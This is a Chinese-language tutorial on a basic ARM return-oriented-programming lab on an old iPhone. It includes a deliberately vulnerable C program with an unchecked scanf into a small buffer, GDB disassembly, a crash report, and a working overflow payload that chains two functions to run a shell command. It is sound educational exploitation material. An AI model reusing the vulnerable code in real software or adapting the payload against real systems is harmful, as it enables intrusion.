ROP Exploit实验 1
概述
本文主要是通过简单的实验来弄清楚ROP Exploit的一些基本原理。不正之处欢迎指正。
简单回顾下上一篇ARM环境下的漏洞利用的关键知识点:
通过运行程序后输入一个指定格式的字符串,利用某些函数不检查字符串长度的缺陷,栈溢出后覆盖到函数入口push到栈上的PC值。所以该值pop回PC的时候,读取到了你输入的字符串中的值。将目标函数入口地址替换到你输入字符串中的指定位置,使PC读取该目标函数入口地址即可实现非正常跳转。
但是通常不太可能只是简单的跳转到一个指定函数,而是需要跳转多个函数来达到漏洞利用的目的。即跳转A再跳转B再跳转C等等。如何实现呢?我们已经能跳转到一个函数,如何在这个函数中使PC包含其他函数入口的地址呢?
实验环境:iPhone4 iOS7.1.2
一个有漏洞的程序
先打造一个存在漏洞的程序,这个程序有两个我们可以利用的函数change和secret
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
char command[] = "date";
void change() {
strcpy(command, "ls");
printf("command changed.\n");
}
void secret() {
printf ("executing command ...\n");
system(command);
}
int main() {
printf("Welcome to ROPLevel 1 for ARM!\n");
char buff[12];
scanf("%s", buff);
return 0;
}
编译的时候仍然需要关掉thumb模式和一些保护特性。
# clang roplevel1.c -isysroot /var/iPhoneOS8.1.sdk/ -mno-thumb -fno-pie -fno-stack-protector -o roplevel1
仍旧是利用了scanf函数的缺陷。change和secret两个函数按理不会被执行到。我们的目的,就是在输入字符串后,先执行change函数,将command替换为ls,随后执行secret函数来通过system()函数执行命令。
###原理探究
跳转到change函数我们已经可以做到了,关键是跳转到secret。那么问题就变成执行完change函数时如何改变PC寄存器的值,使它替换成secret函数的入口地址。函数的结尾一定是通过pop来将值推入PC,执行到这步之前,栈上只有函数入口处保存的r7和PC,也就是要改变入栈时候的PC的值!
那么,首先我们在跳转到change函数的时候,不让它执行push {r7, PC}的操作,然后在栈上存放一个r7(可以是随意的值)和一个secret的函数地址,使这个函数在pop {r7, PC}后,PC中的值是secret函数地址。
理一下思路:
-
解决不执行
change函数入口的push。我们可以在跳转到change函数的时候直接使用该函数的第二条指令的地址。这样不会影响程序的执行,只是会影响函数的返回。 -
栈上需要两个分别
pop回r7和PC的值。这个我们可以在输入的字符串中设置。因为栈上的数据每次读取都是4个字节,我们输入的字符串溢出的长度只要刚好覆盖到栈上两个4字节的数据即可。
一图胜千言(随便画的),最终我们输入的字符串要满足这样的条件:

当输入完字符串buff溢出后,将会执行pop {r7, lr},这样就会把change的第二条指令地址(图上change().addr即指第二条指令)和garbage弹回r7和lr。change函数执行到最后也会有个pop的动作,此时,栈上的secret地址会被弹回到lr中(至于r7会被弹入什么我们暂且不关心),这样就达到了我们的目的: main -> change ->secret
实验
- 通过GDB找到两个函数的入口地址,记得
change函数需要用到的是第二条指令的地址:
(gdb) disassemble secret
Dump of assembler code for function secret:
0x0000be94 <secret+0>: 80 40 2d e9 push {r7, lr}
0x0000be98 <secret+4>: 0d 70 a0 e1 mov r7, sp
0x0000be9c <secret+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8
0x0000bea0 <secret+12>: 91 0f 0b e3 movw r0, #49041 ; 0xbf91
0x0000bea4 <secret+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000bea8 <secret+20>: 51 00 00 eb bl 0xbff4
0x0000beac <secret+24>: 30 10 0c e3 movw r1, #49200 ; 0xc030
0x0000beb0 <secret+28>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000beb4 <secret+32>: 04 00 8d e5 str r0, [sp, #4]
0x0000beb8 <secret+36>: 01 00 a0 e1 mov r0, r1
0x0000bebc <secret+40>: 4e 00 00 eb bl 0xbffc
0x0000bec0 <secret+44>: 00 00 8d e5 str r0, [sp]
0x0000bec4 <secret+48>: 07 d0 a0 e1 mov sp, r7
0x0000bec8 <secret+52>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
(gdb) disassemble change
Dump of assembler code for function change:
0x0000be50 <change+0>: 80 40 2d e9 push {r7, lr}
0x0000be54 <change+4>: 0d 70 a0 e1 mov r7, sp
0x0000be58 <change+8>: 08 d0 4d e2 sub sp, sp, #8 ; 0x8
0x0000be5c <change+12>: 30 00 0c e3 movw r0, #49200 ; 0xc030
0x0000be60 <change+16>: 00 00 40 e3 movt r0, #0 ; 0x0
0x0000be64 <change+20>: 7c 1f 0b e3 movw r1, #49020 ; 0xbf7c
0x0000be68 <change+24>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be6c <change+28>: 05 20 00 e3 movw r2, #5 ; 0x5
0x0000be70 <change+32>: 5d 00 00 eb bl 0xbfec
0x0000be74 <change+36>: 7f 1f 0b e3 movw r1, #49023 ; 0xbf7f
0x0000be78 <change+40>: 00 10 40 e3 movt r1, #0 ; 0x0
0x0000be7c <change+44>: 04 00 8d e5 str r0, [sp, #4]
0x0000be80 <change+48>: 01 00 a0 e1 mov r0, r1
0x0000be84 <change+52>: 5a 00 00 eb bl 0xbff4
0x0000be88 <change+56>: 00 00 8d e5 str r0, [sp]
0x0000be8c <change+60>: 07 d0 a0 e1 mov sp, r7
0x0000be90 <change+64>: 80 80 bd e8 pop {r7, pc}
End of assembler dump.
(gdb) q
OK,两个地址分别是0x0000be94和0x0000be54
- 定制攻击字符串进行Exploit
字符串的定制,可以先和上一篇一样,输入类似
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH来尝试,崩溃后查看CrashReporter中的信息来确定哪几个字符被pop回PC了。
Date/Time: 2017-12-03 23:31:50.416 +0800
OS Version: iOS 7.1.2 (11D257)
Report Version: 104
Exception Type: EXC_BAD_ACCESS (SIGSEGV)
Exception Subtype: KERN_INVALID_ADDRESS at 0x46464646
Highlighted Thread: 0
Backtrace not available
Unknown thread crashed with ARM Thread State (32-bit):
r0: 0x00000000 r1: 0x00000000 r2: 0x00000100 r3: 0x00002060
r4: 0x00000000 r5: 0x00000000 r6: 0x00000000 r7: 0x45454545
r8: 0x27dff888 r9: 0x00000001 r10: 0x00000000 r11: 0x00000000
ip: 0x3d834bd8 sp: 0x27dff888 lr: 0x0000bf08 pc: 0x46464646
cpsr: 0x40000010
可以看到,弹回PC的值是0x46464646也就是字符FFFF。所以只要替换掉FFFF就可以,后面紧跟一个4字节的任意字符,我们就用0x41414141,再跟一个secret函数地址。最终的字符串是这样的:
AAAABBBBCCCCDDDDEEEE\x54\xbe\x00\x00\x41\x41\x41\x41\x94\xbe\x00\x00。因为是小端(little endian)的关系,地址都是逆向输入的。最后,使用printf灌入字符串,执行程序。
Jins:~/Code root# printf "AAAABBBBCCCCDDDDEEEE\x54\xbe\x00\x00\x41\x41\x41\x41\x94\xbe\x00\x00" | ./roplevel1
Welcome to ROPLevel 1 for ARM!
command changed.
executing command ...
hello hello.c roplevel1 roplevel1.c vuln vuln.c
Bus error: 10
Jins:~/Code root#
可以看到ls命令执行了。至此,我们的实验已经成功了。
总结
简单来说,这个ROP实验就是通过栈溢出,将跳转地址覆盖到栈上保存的函数返回地址后达到非正常跳转的目的。
在真实的情况下不会没这么简单,一般都需要连接好几个函数,还需要做栈修复之类的工作,可以看到实验最后还是报错退出来,正常来说应该要使程序正常执行。这篇主要是讲ROP的工作原理,所以暂时不涉及其他的。
最后一点是关于写文章的心得。自己看书跟着做实验的时候觉得自己已经明白了,但一写文章,需要理清思路的时候就会发现很多细节之前其实都没想明白。写完就觉得整个思路清晰不少,收获更是不少!
参考
另外我还推荐这个博客作者@bellis1000前段时间出的一本书,书名及链接:《Beginner’s Guide to Exploitation on ARM》